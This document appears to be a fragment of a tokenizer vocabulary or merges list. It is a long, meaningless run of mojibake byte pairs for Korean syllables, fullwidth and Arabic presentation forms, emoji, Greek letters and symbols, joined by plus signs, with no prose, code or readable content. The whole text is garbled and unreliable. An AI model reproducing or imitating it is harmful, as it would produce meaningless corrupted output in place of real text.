ķ +ë¡ ± +ìķ Ĭ +ï¾ Ģ +ìĩ ł +íĮ © +ïº ª +ë§ Ļ +ï¼ ¿ +ê¿ Ķ +íİ ľ +ë£ ¸ +íĶ Ķ +ï» ³ +ëı ķ +ìĭ ¼ +á» İ +ë§ ĺ +ì¢ ĭ +íĨ ¡ +ï½ ± +íĿ ij +á» ¸ +ì¦ Į +ì¹ ¸ +ëŃ ĺ +ï¾ Ĺ +ï» ĭ +íĬ Ģ +ë¥ Ļ +ì½ © +ëģ Ĺ +ëį ´ +ìħ ľ + ¸ +ë» IJ +ìĥ µ +ê² IJ +ëĵ ¬ +ë£ ° +ãħ ĭ +ìĹ ī +á» ĸ +ëĦ Į +ï½ ¶ +ë´ ĩ +ëĤ ³ +ãĤ ľ +ëĸ » +íİ Ģ +ëį © +íķ ¸ +à · +ê¼ ¼ +ëĶ ľ +ë° ´ +ë© į +âĹ ¯ +ìĹ ij +ìĻ ¼ +ïº ij +ë¶ ķ +ë¡ ¬ +ï½ Į +íĨ ¨ +ïº ´ +ëł ĺ +ê° ¤ +ìĪ ² +Ñ ĵ +ìħ ī +ï» ĵ +ëĪ Ķ +ëį § +âĢ ¼ +ï» ² +ê° ± +ê¿ Ģ +ëĭ · +Ạ¸ +Ạª +Æ Ĵ +ëį ¤ +ìĪ Ń +ï½ Ĥ +ï½ Ī +Å ł +ë£ ¬ +Ñ µ +ëĸ ¡ +ëĥ Ħ +ìĦ ° +ëĵ Ī +ï¾ ĥ +ëĩ ¨ +ï½ IJ +êµ ½ +ìĹ ½ +ëĤ Ģ +ë¬ ¶ +ï½ · +ìı Ł +íĺ Ķ +ê¼ Ī +ëģ Ī +ì¥ IJ +ïº Ĺ +Ä Į +ëĪ ł +ëĸ ¼ +íĢ ´ +âī ¥ +ëĭ Ń +ì± Ļ +ê» ı +ë© ¤ +ìĥ ĺ +ëį ® +ë£ ¡ +ìĤ ½ +ãĪ ľ +Ä ¨ +âĢ § +ï½ º +Ä £ +ì¦ ī +ï¼ ¼ +Û © +âĪ Ļ +ë° ı +ë¹ ħ +ðŁĺ Ľ +íĪ ´ +ðŁĴ ķ +ãĢ Ĵ +ìŀ ĺ +ïº ¤ +ï½ ĸ +ë© ľ +ë² ¼ +ëĿ Ħ +ëļ ľ +ï» ĺ +ìĥ Į +ï½ Ħ +ì© Ķ +ï½ Ļ +ïº © +Û ŀ +âĺ İ +ìł ¤ +ëIJ © +Å Ŀ +âŀ ¡ +ï» § +Ð ı +ì« ĵ +ê³ ½ +É ij +ãĥ ² +ëĤ « +ë¦ ī +ì¢ ģ +ë° Ń +ðŁĺ ģ +ë¹ µ +ì² © +ì» µ +ðŁĺ ĺ +ë± ħ +âī Ī +ë¹ ļ +ï» ľ +ðŁĻ ı +íģ ° +ìĦ ŀ +ï¾ ļ +ìĺ ¹ +ë¼ Ī +ëĤ ¯ +ëŀ © +íļ ¡ +ï½ ķ +íĥ ĵ +ëĿ ł +ê³ ģ +ëĵ Ģ +ìĹ ł +ï¼ º +ë§ ij +ëĭ ¿ +ì¿ ¨ +ãİ ¡ +Ð Ĭ +íĦ ± +Å ¨ +ïº ³ +ï¾ ı +âĭ ħ +ê¼ ´ +âī ¤ +íĮ ģ +Î © +ê¶ ¤ +ìĪ į +âľ ¿ +ì½ ¤ +ëĪ ħ +íĨ ± +ãħ ľ +áIJ ħ +Å Ĵ +ðŁij ī +ï» ¦ +Ð ª +ë¥ ľ +íķ « +ï¾ ĭ +âĻ « +ê¹ ľ +ë° ¸ +ëĶ ĺ +íĿ ī +ï¾ ģ +ï¾ Ľ +ëł Ľ +ê² ¹ +ì¿ ¼ +ï» ¬ +âŀ ¤ +ðŁĻ ģ +ïº ł +ëĨ ¨ +ë¯ ¹ +ê¸ ĭ +ë» Ķ +ê¹ ĥ +ëij ij +íĭ ¸ +íİ Ļ +âŀ ĸ +ãĥ ½ +ì§ ļ +ï½ ¬ +ï» ¥ +íĮ ½ +âĢ Ĵ +ì ĮĢ +ìŃ ī +ëļ ± +ãĤ ŀ +íĭ Ī +ãĤ IJ +ëī ĺ +Î £ +ê³ ° +ë¹ Ĺ +ï¾ İ +ðŁĺ Ń +íĿ ł +ìĹ ¿ +ê° ļ +ì¤ Į +ë§ µ +ï½ ³ +ãģ ¢ +ï» Ĺ +âī ¦ +Ú ¤ +ë łģ +ê¼ ½ +ï» « +âī § +ì´ Ľ +ìł Ŀ +Ạ° +âĻ £ +ìº ĺ +âĪ ĩ +ê² ī +ë° Ł +ï» Ķ +íĸ ĩ +âĸ Ĵ +ðŁij ı +à ŀ +ðŁĺ Ĩ +ïº ¼ +âĿ Ĺ +ìº Ķ +ì¹ © +ëĸ ¤ +ëĥ ħ +âĶ ľ +ï½ » +Î Ķ +áĥ ¦ +ìŀ İ +âĺ Ģ +âĪ ¼ +ðŁĶ ¥ +ë° Į +ìł ĸ +íĹ Ľ +Î ķ +ïº ĥ +ë¶ ī +âĪ ŀ +íĥ Ń +à ĭ +âģ Ħ +ãħ ĩ +ëĦ ¥ +ëĭ ® +ëł · +íĮ Ŀ +ìº ¡ +ë· Ķ +ì© į +íĤ ´ +ëļ « +âĵ Ĵ +íķ į +âĻ Ĥ +ï¾ Ĩ +âĨ © +ìį © +ïº ķ +íĿ Ļ +Ñ ľ +íĤ · +íĿ ° +íĥ ± +ëķ IJ +ï¾ Ĵ +× ĥ +ëĮ Ħ +ìĺ ´ +ìķ µ +ê¹ ¥ +ëŀ Ń +ìª ¼ +ãİ Ŀ +ðŁĺ ħ +ëı ĭ +ëª « +ïº ¸ +ë® ¬ +ë² ħ +ëij ł +ìħ ° +ì» · +ëĶ ª +ëħ Ķ +ãħ ¡ +ìĶ » +íķ ı +ëį ± +ïº ¨ +ï¾ į +ï½ µ +ì¢ Ģ +íİ Į +ï» ° +ïº £ +Æ £ +ðŁ¤ £ +ï· º +ëĤ ļ +âĭ Ĩ +ë³ į +ðŁĺ Ħ +ìĸ Ģ +ìĻ ł +ëĨ Ķ +íĹ ¨ +ï» Ľ +ï» Ŀ +á» ¶ +ìĸ ĺ +ìİ Ħ +Ú Ĩ +ï» ŀ +ëĢ IJ +ê² Ķ +ï» µ +âĹ ¦ +íļ Ł +ê¹ ģ +ê° ĵ +ëĶ ´ +ìı ĺ +ëļ Ŀ +á» ł +ëŀ ´ +ëĦ ī +âĺ ŀ +ï½ ĺ +Å ½ +ë¦ İ +âĸ ¬ +ëŃ ī +âĩ Ľ +ìį ¬ +ïº Ł +Ë ľ +ë¶ ĵ +ìĽ ° +Å ľ +ëŃ ĩ +á» ² +Ë ļ +ëķ Ģ +âĺ ij +ðŁı ¼ +ìĸ ½ +âĮ Ĵ +Ð İ +É ¾ +íĮ ¡ +ï¾ ħ +ìŀ Ń +ï½ ¨ +ì¹ « +ìľ Į +Ò Ľ +êµ ¿ +ëĭ ¦ +âĶ Ķ +ï¾ ij +ì§ ĸ +ìº Ħ +ãĢ ĥ +Ê ¼ +ê² Ł +ï½ § +Ä ¢ +íİ ł +ë§ · +ê° ĩ +ìĭ ¹ +ðŁĴ ¦ +ï¾ ľ +ëĬ Ļ +ë² ¡ +Å ¿ +ðŁĺ ĭ +ðŁĴ ª +ì¿ Ħ +ë© ķ +ìŃ ¤ +ëĬ Ħ +ðŁĮ ¸ +ãĤ Ŀ +Ç İ +ï½ ļ +Ä Ĺ +ëģ ĵ +ê¶ IJ +áµ ī +ãĥ Ĥ +ê» į +ðŁĺ ¦ +ãĢ Ŀ +ðŁ¤ Ĺ +Ñ Ł +ìĹ İ +âľ Į +ìī IJ +à Ĩ +íĹ IJ +ðŁİ ī +Î ij +ï½ Ń +ðŁĴ Ļ +ìĽ ¬ +íĢ ĺ +ï» ¢ +ðŁĺ İ +íij ¼ +íĿ © +ï» Ħ +íħ Ģ +ëł IJ +ì¥ ¬ +Ð ĭ +ìĥ · +ëľ ¬ +ðŁĺ ĥ +ëĦ ¬ +ë¥ ¨ +ìĽ į +ï½ Ĩ +ï½ ´ +ãĥ ħ +à ı +ï» ª +âĻ ł +ëĬ ¬ +ë± Ģ +ë° ĭ +ìĥ Ģ +ï½ ¾ +ëĤ ± +ì» ¸ +ðŁĴ ĸ +ðŁij Į +Ñ ŀ +ì§ ± +Ë Ĩ +ðŁĵ ļ +âŃ ķ +ï¬ Ĥ +ï» ¡ +ëij ¬ +íĪ ¼ +âĸ ¸ +ê° ¯ +ê¹ ħ +ï½ ® +ëĺ ¥ +Ä ¡ +íĮ Ł +Ð Į +ìĨ Ł +ïº ĵ +ï» ¼ +à Ľ +ãĥ ¾ +ëĮ ĵ +íĴ ĭ +ìķ ĵ +ï½ ¹ +ëĤ ¡ +ðŁij ĩ +Ạ¼ +ãĢ Ł +ðŁĮ Ł +íĥ ł +ãĢ Ĩ +âĢ Ł +ë¸ IJ +ðŁĮ ¹ +ìł ¼ +ðŁĵ Į +ìĶ ¬ +âĹ Ģ +ðŁĴ ĵ +ê¹ İ +ìĤ IJ +ìĶ Į +Ñ Ľ +âĶ Ī +ë² ³ +ãİ ŀ +Õ ¡ +íĤ µ +ðŁ¤ Ķ +ëĢ Ķ +ìĬ IJ +íĻ ī +âľ ¦ +ëľ ¯ +ìł ¯ +ëĶ § +Î ¦ +Ë Ī +ìī ¼ +âĹ Ĭ +ëľ © +ëľ ° +ï¾ IJ +ë¿ Ķ +ìĹ ® +ì· Į +ïº § +Î Ĵ +ëµ Ļ +ï» Ĭ +ì° Ķ +íİ Ħ +ðŁĴ Ĺ +Ạ´ +ì° ¢ +íľ ¼ +ê½ Ĥ +ì± Ķ +ìī ´ +âĸ ¾ +íĪ ° +ëĭ Ľ +âĿ £ +ï½ ª +ðŁĴ ľ +Ë ĺ +ãħ ¤ +âĨ Ĺ +íĸ Ħ +âĻ ¬ +ìķ ° +ïº ľ +âī ¡ +ãĢ ĵ +ìij ¥ +íĮ į +íī ģ +ë» Ĺ +íľ ł +íľ © +âľ Ī +íĢ Ħ +ìĸ ĩ +ì¢ ĩ +íŀ Ļ +ëª ¹ +ãĤ Ľ +ðŁĺ ± +ëį Ł +๠ħ +êµ ¶ +Ù « +ìĶ ģ +âľ ª +ï¾ Ī +ðŁĻ Į +âļ ¡ +Î ļ +ì¼ Ī +ï¾ Ķ +ï¾ Ĥ +êµ ī +ïº » +ðŁĴ ĭ +á¹ £ +Ó Ļ +ìĨ ľ +ìĹ £ +âľ © +ìľ Ļ +ïº ° +Ạ² +ìŀ £ +âĿ Į +âĺ ģ +ìķ İ +Ä ½ +Û ģ +ãĦ ± +ëŁ ¿ +íĮ ¸ +ê½ ī +ìı ł +ðŁį Ģ +âĨ Ķ +ëŃ ¡ +ï» ģ +ï¼ Ħ +ðŁĴ ¥ +âĺ Ľ +íĹ · +ëij ¡ +Î ł +Î ¤ +âĦ ĵ +ïº · +Î Ļ +ëı Ķ +ì§ ¤ +âĶ ĥ +ãĦ · +Ç Ĵ +ðŁ¥ ° +ëĶ ķ +ìļ ¥ +ì¸ Ħ +íĽ Ķ +ïº ĩ +ïº ¬ +ðŁĺ ¢ +ë¹ ¡ +ìĶ ¹ +Å ³ +Ë Ŀ +íİ ij +ï¾ ĵ +ðŁĴ ļ +ëĬ ij +êº ¾ +íĨ ° +à ¿ +Ð Ħ +ëĮ IJ +ë½ Ģ +ì· Ħ +ðŁ ĵį +ðŁĻ Ī +âĹ Ī +ê¿ ĩ +ì¼ Ħ +íİ « +ðŁĩ · +âĶ ĭ +âļ ł +ë± ī +ì į° +ìĻ Ī +É ª +ïº ĭ +ðŁĺ ľ +Î Ł +ðŁ ĻĤ +âļ ½ +Å Ī +ë¹ Ķ +íĮ ľ +๠ı +ìĸ ¹ +íĪ Ń +ðŁ¥ ĩ +ãĦ ´ +ëĶ ¥ +ìŃ Ī +âĪ Ĩ +ëĸ ³ +ë± ĥ +ìŀ ¦ +ï» IJ +Î ľ +âľ § +Ï į +ìł ĵ +âĹ ķ +ëĴ Ģ +ï» Ģ +ðŁĶ ´ +ê½ ģ +ëĮ Ī +ëİ Į +ãĤ İ +⦠ģ +ì½ § +ï¯ ¾ +âĿ ¯ +ภħ +ðŁĻ Ħ +âĿ Ģ +ðŁĶ ¹ +âĩ IJ +êµ µ +âĩ Ķ +ë¶ IJ +ðŁĴ Ľ +Î ¾ +íĥ ¬ +âĿ Ħ +Ò £ +ãĢ ° +âĪ ij +âĺ ¼ +âī ł +Ò ¯ +ïº ¯ +ê¿ ¨ +âľ ĸ +Ê ĸ +íĢ Ģ +ê¾ Ģ +íĹ Ŀ +âĶ £ +ãİ ľ +ëĶ Ľ +ëľ ¸ +ï º« +ê¿ ° +ðŁĩ ¹ +Ç IJ +Û Ĵ +ë£ » +ïº ĸ +Ñ ļ +ëĬ ł +Û ķ +ê¹ ¡ +ë¿ ľ +ì² ¼ +ï¨ ij +ë¥ µ +ìį ¸ +íħ ħ +íij ¹ +Ö Ģ +ï³ Į +ãħ £ +ìij ¤ +ì½ ķ +ëķ ł +ðŁĮ ¿ +íĥ Ķ +ìĽ ģ +Î ¶ +âŀ ľ +ìĬ ĺ +íĽ Ĺ +ë© § +ìī ĺ +Õ ¶ +á¹ ĩ +ðŁİ ģ +ï½ ¿ +ï¼ Ĥ +á¼ IJ +âľ ķ +âŀ ¢ +ëĦ ¨ +ì» « +ì¯ Ķ +ì° ľ +ðŁĴ ° +íħ Ŀ +ãİ ı +ë³ ¶ +Ò ĵ +âĨ ³ +ìĥ ´ +íģ ĺ +âĸ Ģ +ë² Ļ +ภĥ +á½ ¶ +Ä ķ +⬠ĩ +ë¤ ĺ +ðŁİ µ +âľ ļ +ïº ı +Î ¡ +âĹ ī +ðŁĴ « +Ð Ī +ìĸ Ħ +ì§ Ļ +ï» ĥ +ðĿij Ĵ +ëŃ Ħ +âĿ ¥ +âĿ ĸ +âĺ Ŀ +Ê ¹ +Ḡ¥ +âĢ ¿ +ãħ ħ +ê¸ ģ +ëķ ¡ +ëį ¥ +âĪ © +ê» Ħ +ë® Į +Ò ± +âĪ Ĺ +ëł Ļ +ïº Į +Ë IJ +ðŁĺ ³ +ðŁij © +ðŁİ ¶ +ì¿ µ +ðŁ¤ © +ê· ¤ +ëĮ Ķ +ïº IJ +Ï İ +ì¶ ¥ +ï½ Ĭ +á¹ Ń +ë¤ ¼ +âĸ « +ì§ ł +á¼ Ģ +ê» ij +ëĮ ģ +íĢ ¸ +âĻ Ľ +ðŁĴ ŀ +âĸ ° +ðĿij ĸ +ëĿ ¤ +ठ¦ +ì´ ĺ +ðŁĺ ĩ +ëĶ ¤ +Î Ĺ +ðŁĻ ĩ +Ë Ľ +ì© ¡ +âĪ § +Õ ¥ +Ñ Ļ +ëIJ ¬ +ëĸ Ħ +ðŁĮ · +ìĹ Į +ðŁĺ ¥ +ëĪ ´ +ï» ļ +É Ľ +ïº Ħ +ï» ı +Å Į +ë² ļ +ìĭ £ +ïº Ģ +Î ĵ +ðŁĺ Į +Ë Ļ +ëŀ ı +ðŁĶ ¸ +ðŁĵ · +ëģ ½ +íģ ½ +ðŁĴ ¡ +ðŁĮ ± +ëº ı +ìģ ł +ìĥ IJ +ëı Ĺ +ì¸ ° +ëĪ ķ +Î Ŀ +âģ ī +ðŁĮ ¼ +íĮ ł +âĭ ¯ +áĥ ĺ +âľ ¤ +ê± Ķ +íĮ İ +ðŁĴ ¯ +ìı Ļ +íĹ ī +Ù Ń +ì½ ° +ïº ¿ +ï» ± +ì± Į +âĺ ķ +ðŁİ Ģ +Ä Ŀ +ë° § +ìĤ ¿ +áij ķ +ðŁį ĥ +âĩ ¨ +Î Ľ +ë§ ´ +ë³ ķ +á ijIJ +âĸ ĵ +ðĿ ijľ +âĻ » +íĤ ¥ +Õ ¸ +ãĪ ± +ëº Ģ +ì² ¸ +ïº Ľ +ðŁı Ĩ +ðŁĩ ª +âĿ ĵ +Ä Ģ +ì½ ¥ +ðŁĩ § +á½ · +âľ Ĥ +ìŀ ¼ +ï§ ¡ +ðŁĵ ¸ +âĻ ¯ +É Ķ +á½ ¸ +âĮ ª +ï» ĸ +ï¥ § +âļ « +âĶ Ĺ +ðŁĮ Ī +ï» © +ðŁĵ ² +Ï Ī +ðŁĺ ¡ +ðĿij İ +ìľ ½ +ì§ ¬ +ì§ Ĭ +á½ ³ +ìĮ ¤ +ëĤ į +âī Ĵ +ðŁij ¨ +âĺ ĺ +Ó © +âĤ ĵ +âĪ Ĥ +ï¹ ģ +ðŁĴ IJ +íħ ĥ +ðŁı ½ +ê· Ħ +ðŁĺ ı +ðŁĮ º +ðŁĺ Ķ +ï½ « +âľ İ +ëµ Ī +ðŁĩ ¸ +âĢ £ +âŀ Ķ +ëĺ ĺ +ìĥ ¬ +Ê ĥ +⬠ħ +ì© IJ +ðŁĻ Ĩ +ðŁİ Ħ +Ä ¾ +⣠¶ +áĥ IJ +âĺ » +ì± ķ +ìģ © +ë½ ķ +ìº £ +ðŁij Ī +ðŁĻ ĭ +ï¾ ĸ +Ò ļ +Õ « +ìĮ Ī +ë² § +ðŁĩ ® +ï½ Ŀ +ðŁį ģ +ìĹ ¥ +Ä ³ +ë½ IJ +íį ½ +íĽ ij +âĤ ¹ +ãħ ģ +ìĶ ½ +ðŁĶ ģ +ठ¯ +ê¾ ¹ +ëī ľ +âĹ ¡ +íķ Į +Î ĺ +ë£ ¹ +ìĻ ĵ +ðŁĩ ¦ +ðŁij Ģ +âĶ Į +á¿ ¦ +ëĦ Ľ +ìĦ £ +ìŃ Ļ +ï± ł +Î ŀ +Ê » +á¿ ¶ +âĿ Ŀ +ê± Ģ +ëĸ ´ +ãĦ ¹ +ðŁĴ İ +Ï ¹ +⼠ħ +ï» ķ +ãĥ ± +ï½ Ľ +ëĮ ķ +ë¹ ½ +ì¥ Ķ +ì¿ ¤ +ðŁĸ ¤ +Ñ Ĵ +ê¹ į +ëİ Ģ +ìĭ ¯ +ë» ¤ +ðŁĵ ŀ +ðŁĵ £ +ðŁĺ Ŀ +ìį ¹ +ìĹ ¡ +ì° IJ +á½ IJ +ï» Ī +âľ į +Ä ı +ðŁĮ ŀ +âĦ ¦ +ê½ Ŀ +ë» ĺ +ìĪ ± +âĶ ĺ +ðŁĮ » +âĤ ´ +âŀ ¨ +íIJ ģ +ê ¶Ī +âĺ ¢ +ðŁĺ Ī +ï½ © +âĦ Ĺ +ê° Ń +ê° ¸ +ë» ij +ì¥ ´ +ì» ¥ +ï¤ Ĭ +ï» Ĵ +ðŁĺ ķ +âĺ Ķ +ìĺ IJ +ðŁļ Ĺ +ëĹ Ħ +ë§ ı +Õ ½ +âĸ » +⣠µ +ìī ° +ï» ij +âĻ © +Î ¥ +ðŁĺ £ +âĬ Ĥ +ãħ Ĥ +ìħ ¸ +íı Ħ +âľ ½ +ì¦ Ļ +âĸ £ +ê± į +ê¿ ĭ +ì« Ħ +ìº ĩ +ðŁĩ µ +ðŁij ij +âľ ĺ +ðĿij Ľ +ìį ½ +ìº ī +ï¬ µ +ðŁĶ º +âĦ ® +íĥ ¤ +ðŁĩ º +ðŁĴ µ +íħ ¨ +ï½ ij +Î ¨ +ìĥ ¹ +ìĸ ķ +ì¹ µ +ðŁĵ ± +ठµ +ðŁij Ĭ +ðŁĴ Ħ +ðŁĴ Ŀ +ãĮ Ķ +ìĻ ģ +Ð ĩ +à® IJ +âĸ ¹ +á´ Ľ +âĹ ĺ +ëº ¨ +íĥ ī +ìĸ Į +ðŁIJ ¶ +ãĤ ij +Ë ĩ +Å ı +á½ ¹ +ìħ § +ï¹ ° +ðĿij ¡ +ðŁĶ Ŀ +ðŁĺ » +ðŁĴ ĥ +ðŁ¤ ¦ +ðŁį Ĵ +íĢ µ +âľ Ĩ +ë¹ ´ +ï§ ¤ +ï» Ļ +á´ Ĺ +ðŁĮ ´ +Í ¾ +ëĮ ij +ì¨ ĭ +ìµ ¸ +ðŁİ Ī +ðŁı ł +á½ ± +Û Ĩ +á¿ ĸ +âĢ Ľ +ì° ¼ +íķ ¥ +íĹ ´ +ðŁĩ ¬ +ì° Ŀ +âĪ ł +ï¼ ĩ +âĬ Ļ +âĿ ij +ëĦ ĭ +ëŀ Ĺ +ë° ī +ìĹ Ĭ +ì¢ Ĩ +íĮ ¥ +ï° ² +ðŁĵ ĸ +ðŁĺ ® +âļ ª +ðŁĺ ļ +âĿ ŀ +ðĿij Ł +ðŁİ Ĥ +Å ķ +áIJ Ī +êº ½ +ì± ł +ïº Ŀ +ê¿ ī +áĥ ł +ðŁı ĥ +ðŁĴ ¸ +âĿ ģ +âĹ ¾ +Ú ª +á¹ ĥ +íĬ ¬ +ðŁĩ ± +íİ Ń +ðŁĺ ŀ +ë¾ ° +á¹ Ľ +ëĽ ¸ +âĿ Ĥ +êĴ ³ +âĶ IJ +íĵ ° +âŀ ł +ê´ ĺ +ëħ ĺ +ë» ¥ +ì¾ ħ +ðŁĺ IJ +âĪ ª +ðŁij ģ +âĪ ´ +âĹ ģ +ëº IJ +ìŀ ¤ +ì± Ĺ +ðŁı ¾ +Î § +á½ » +âŀ ¥ +ìŁ Ī +ï» ī +âĸ Į +ãĥ ® +ðŁ¤ ¤ +âĩ ĵ +ì¼ ł +á´ ı +ë§ ¬ +ë» £ +ðŁĴ ¬ +ðŁį ĵ +Ä ¸ +Ù ¹ +Ê ¿ +á½ ° +ëķ ľ +ì° ¡ +ì° » +íİ į +ðŁİ ¯ +ðŁį Ĥ +ðŁij § +âĻ ¢ +áĨ ŀ +âĻ § +âļ ľ +âľ ī +ëĵ ¦ +ëŃ £ +ìĪ ı +ìĵ ± +Å Ń +Ê Ĭ +âĴ ¸ +âĩ © +ðŁĴ Ķ +Õ µ +Ð ī +Ò » +ë§ £ +ìĽ ľ +ì¿ ¡ +íĽ ħ +íĽ ¤ +ïº ¢ +âľ ĭ +âĪ Ī +ðŁĮ į +Ê ľ +ëĬ ª +ëĴ ¹ +ïº ² +âĸ Ħ +ãħ Ī +ëļ ¤ +íİ © +âĪ ¨ +ðŁ¤ ª +áĥ ļ +ê³ ¶ +íĬ ķ +ðŁĺ ¬ +âĪ « +ðŁij ĭ +Ò IJ +íĬ ¿ +ðŁĶ µ +ðŁĴ ¨ +ðŁĮ Ļ +ëĩ © +âľ ³ +ë¨ ģ +ëº Ħ +ìĻ ij +ìº ħ +íı Ī +ðĿij Ļ +ðŁĴ ĺ +ãİ ¥ +âĿ ı +âľ ° +ï¯ ¿ +ëµ IJ +ì¼ IJ +ïº ± +Õ ´ +ï¬ Ģ +âľ ´ +ðŁ¤ Ń +ðŁij Ĩ +âĽ Ķ +ê· ĵ +ìĮ Į +ðŁ¤ · +Û Ķ +ðŁ§ ¡ +ðŁĺ ĵ +Î ĸ +âı ° +ê² ľ +ëĭ ³ +ëİ ħ +ë° Ī +ï® IJ +ðŁı ¡ +âĨ ª +âĵ Ķ +âľ Ĭ +Ï ² +Ü IJ +ðŁĩ ³ +Ö Ĥ +âľ ı +ìĸ Ĺ +ì« Ļ +ðŁĺ ² +Ä Ń +âĻ Ń +âĶ ı +âĹ Į +ðŁĺ ¯ +áµ Ĵ +íĬ ł +Ä · +Ê ģ +à¤ Ł +á¹ ģ +á¼ ° +á¿ Ĩ +â « +â« ¸ +ëį « +ì³ ĩ +ì¼ ¤ +íĽ ¨ +ðŁĴ Ł +Ê Ģ +Ê ³ +ëĵ IJ +âķ ° +âĿ ĩ +Ç Ģ +Ç Ķ +É ´ +âĺ ļ +âĺ ľ +ê¶ Ĥ +ì« Ĵ +ì± Ī +ðŁĩ ¨ +ðŁİ ¥ +ðŁĵ Ŀ +Ä § +ðĿ ijIJ +Û Ī +ठ¬ +ì¬ IJ +íĹ ¥ +âĻ ¨ +ðŁį ´ +ï¹ ı +Ë ĭ +ðŁ¥ º +âĸ ¨ +íĻ ĭ +âĪ ħ +ëģ Ļ +ëŀ ł +ìĨ ¥ +âĢ ĸ +ðŁ¤ ĺ +ðŁIJ » +áµ ķ +Ç Ŀ +âĺ ı +ïº ļ +ï» Ĥ +ðŁļ © +ìĪ Ł +Ë Ĭ +⤠µ +ðŁĴ § +ã ħį +ë© © +Æ ¬ +Î ĩ +âĩ § +âĵ ļ +ìĤ ¯ +ìĪ ¯ +ëĨ ĭ +âľ ¯ +ðŁļ Ģ +Ú ĺ +Ú ¨ +âľ Ń +ê² ħ +íĮ ° +íľ Ļ +ðŁĮ Ĭ +ðŁİ ĵ +ðŁĺ Ļ +Ë ĥ +ðŁĴ ģ +ðŁij İ +âĺ ¹ +ðŁĺ « +ðŁĴ » +ëĤ µ +ìĿ Ĭ +íĮ » +Ò ³ +á½ ² +âŀ ŀ +ëĤ ij +ëĿ Ī +ì£ ¤ +ï» ¯ +ðŁĩ © +ðŁ¥ ³ +âĴ ¼ +ðŁ¦ ĭ +âĺ Ĥ +ðŁĺ ° +ðŁĻ ĥ +ðŁĺ Ĵ +Û İ +Ï ķ +Ḡ¤ +ë£ ½ +ìĬ ¥ +ðĿij ī +É IJ +ðŁį İ +âķ ¯ +âķ ¹ +ຠ² +ï¾ ł +ë¹ ķ +ïº Ĩ +Ê º +Ó § +âĨ ł +ëĥ ĩ +ìİ Ī +ìŁ ¤ +ï± ¢ +âķ ¬ +âĺ ł +ðŁİ Ĭ +ãį į +ãİ İ +âĺ ° +âľ ĥ +ãħ ī +ë¯ Ī +ë¹ ¤ +ìı Ń +ðĿij ¢ +ðŁIJ ¾ +Å ĭ +ðŁij ¶ +âĶ Ľ +ï¿ ¢ +áĥ ¡ +Ä ¼ +Å Ĩ +Ñ IJ +ìĥ Ľ +ìĺ Į +ì± ¤ +íħ ģ +íļ ĥ +ï³ Ĭ +ðĿij Ķ +ðŁĩ « +âĭ ° +ðŁĺ ¨ +âĤ © +Õ ¬ +Ḡį +á» ´ +âĨ ĺ +âĺ ¯ +ãħ ı +ìł ¬ +âĻ Ķ +ðŁĶ Ķ +ðŁĺ ł +ðŁĻ Ĭ +à® ľ +á¹ ħ +âĹ IJ +âĿ Ī +âŀ ½ +ìĥ ħ +ðĿij ł +Æ ¢ +âĭ Ļ +ê° Ľ +ëĿ µ +ë£ Ł +ìı ľ +ïº ģ +ðŁĴ Ń +âĬ ĥ +ðŁIJ ° +ãħ Į +Ü ĵ +âŀ ķ +á½ ģ +ìķ ³ +ðĿij Ŀ +ðŁİ ¬ +É ¡ +à¤ Ĺ +áIJ ī +ì© ľ +ì¶ § +ï³ ī +ï» ħ +ðĿIJ ŀ +ठ¶ +ðŁĵ ¢ +ðŁį ĭ +ðŁĴ ħ +ï¾ ķ +⬠Ĩ +âĪ µ +ðŁ¤ ij +áĥ £ +Æ Ħ +Ñ ¹ +á¼ Ķ +ê° ł +ê´ Į +ê· IJ +ëĽ ´ +ì± ĺ +ï® Ń +ïº ¹ +ïº ¾ +âľ Ĺ +âĿ ¦ +ðŁij ¦ +áĥ Ĺ +Ù ² +á½ ´ +âĪ ı +âľ ® +ê¹ ° +ë² µ +ìĦ Ģ +ì© Ŀ +ïº ŀ +ïº ½ +ðŁĩ Ń +Ë Ĥ +ðŁį ij +ðŁį Į +ðŁĶ » +ê¹ ¬ +ìĬ Ń +ìľ · +ðŁĽ ij +Ç § +ë¼ Ľ +ïº ¡ +ïº º +ðĿij ļ +ðŁĵ ¦ +ðŁĶ İ +ðŁĹ ĵ +áĥ Ķ +âľ Ĵ +âľ ¡ +ðŁĮ µ +âĶ ķ +ëĢ Ŀ +ðŁį Ĭ +âĺ ĥ +ìĺ ħ +ঠ¬ +ðŁ¦ ģ +âİ ¯ +ðŁIJ ķ +Ñ ¿ +ॠ¤ +༠ĭ +ê· Ī +ì« Į +ðŁĩ ° +âĿ ī +ì« Ģ +íĿ Ħ +ðĿIJ ¢ +ðŁļ ¨ +âĻ ¤ +ðŁĺ © +ðŁį į +ðŁĺ ij +ðŁļ ļ +Ö Ħ +ë « +ë« ¼ +ठı +á¿ · +âĮ © +âĺ IJ +âŀ £ +ê¸ ± +ê¼ ¿ +ëĦ Ŀ +ìı ´ +ìļ ¤ +ì¿ ± +íİ IJ +ðŁĴ ¢ +ì´ IJ +âĩ ij +âĶ ĵ +âģ ¾ +Ü Ŀ +ðŁ į° +â´ ° +Æ ı +Ï Ł +Ú º +Û ĥ +áĦ Ĵ +âĪ Ł +âĿ į +ãĦ ² +ìľ ħ +ì¤ ı +ðŁĩ ² +êº Ħ +ðŁİ ¤ +âľ £ +⸠Ŀ +ï¸ µ +ຠ§ +áĢ Ļ +âķ ł +Õ ¯ +âı © +ðĿij £ +ðŁĴ £ +Å ĺ +ॠIJ +âģ ĥ +âĮ ĺ +ê» Į +ìĮ Ķ +ðĿij ĺ +ðŁ¤ ĵ +Õ ¿ +à¤ Ń +âĮ ļ +âľ Ŀ +ðŁIJ ¼ +Ë Į +âķ ļ +ï¦ Ĺ +âĿ ķ +âķ £ +ðŁIJ ± +à® ¤ +Ñ ¾ +ठļ +ठľ +ìĪ Ħ +ìļ ľ +ðŁİ ® +É Ĵ +Ú · +ຠį +âĨ µ +â Īĺ +âĿ Ĭ +ë¿ į +ìIJ Ī +ìļ ĺ +ì¯ § +íĥ ¯ +ìĸ ı +ï¸ ° +ðŁĩ ¯ +ðŁ§ ļ +ðŁĺ µ +ðŁĺ · +ðŁĮ ³ +ຠ¥ +Ä ī +Ä ¥ +âľ ¶ +á¿ ¾ +âĬ ± +âĺ ¾ +ê° ī +ê¼ ° +ëº ij +ðŁĶ Ĭ +ðŁĸ IJ +Å ¤ +Ò « +à® ® +âĮ Ī +âĹ Ĺ +ëĦ µ +ëħ ľ +ëľ ¹ +ðĿij ¥ +ðŁĴ ¿ +ðŁĽ Ĵ +Ê Ĵ +áŀ ĵ +ðŁIJ Ŀ +ðŁ¦ Ħ +ðŁį · +âĺ Ł +ï¸ ¶ +ðŁ¤ Ł 